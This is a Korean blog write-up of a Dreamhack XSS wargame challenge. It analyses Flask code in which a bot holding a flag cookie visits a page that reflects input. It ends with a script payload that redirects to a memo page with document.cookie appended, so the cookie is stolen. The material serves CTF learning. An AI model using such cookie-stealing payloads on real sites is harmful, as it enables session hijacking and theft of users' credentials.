반응형
문제 설명
여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스 입니다.
XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG변수에 있습니다.
플래그 형식은 DH{ ... } 입니다.
코드 분석
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
- ./flag.txt 파일을 읽기 형식으로 열고, 읽은 후에 FLAG 변수에 저장
- 파일이 없거나 읽기 실패하면 [**FLAG**]로 대체
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
- cookie.update({"domain": "127.0.0.1"}) → 쿠키 도메인을 강제로 127.0.0.1로 설정
- driver.get(http://127.0.0.1:8000/") 후 add_cookie(cookie) → 127.0.0.1:8000 에 먼저 접속한 후에 쿠키를 심는 구조
- driver.implicitly_wait(3), driver.set_page_load_time_out(3) → 제한시간 3초? 같음
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
- 사용자가 입력한 param을 URL에 붙이고 인코딩함
- 봇이 여는 URL은 "http://127.0.0.1:8000/vuln?param=사용자입력" 형태임
@app.route("/")
def index():
return render_template("index.html")
- index.html 렌더링 하겠다는 뜻
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return param
- param 을 요청받으면 그대로 param을 리턴 함
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
- GET하면 flag.html 페이지를 렌더링 함
- POST 사용자가 요청한 param을 가지고 check_xss() 실행
- 쿠키로 넘기는 것은 name : flag , value : FLAG.strip() 임
- 실패시 wrong 성공시 good
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
- /memo?memo = ??? 오면 memo_text에 누적 저장
흐름 정리
사용자가 /flag 에 param을 제출 → 서버가 봇을 실행 → 봇은 127.0.0.1에서 flag 쿠키를 가진 상태로 /vuln?param=???을 방문 → /vuln 입력 그대로 반환
문제 풀이
vuln(xss) page

- <script>alert(1)</script> 가 삽입되어 있는 것을 알 수 있다.
memo page

- /memo?memo = hello 이며 hello가 메모장에 그대로 적혀있는 것을 볼 수 있다.
flag page

- 앞에서 url = "http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}" 코드를 확인했다.
- 제출 버튼을 누르면 flag는 127.0.0.1:8000의 쿠키 값에 저장된다.
익스 흐름
제출 ▶ 입력한 param 값이 로컬호스트 환경의 vuln 페이지 url 전달 ▶ 로컬 호스트 쿠키에 flag 값 추가
▶ url 접속 (vuln page 접속) ▶ 메모 페이지로 접속해 document.cookie를 입력
따라서 다음과 같이 페이로드를 작성하면 될 것 같다.
<script>location.href = "http://127.0.0.1:8000/memo?memo="+ document.cookie</script>
- location.href : 현재 주소를 의미
- "http:127.0.0.1:8000/memo?memo=" : 이동할 URL
- document.cookie : 현재 도메인(127.0.0.1) 쿠키 문자열 전체

반응형
'Dreamhack 워게임 > Lv.1' 카테고리의 다른 글
| simple_sqli (1) | 2026.01.15 |
|---|---|
| csrf-2 (1) | 2026.01.11 |
| csrf - 1 (0) | 2026.01.11 |
| session-basic (0) | 2026.01.09 |
| XSS - 2 (0) | 2026.01.01 |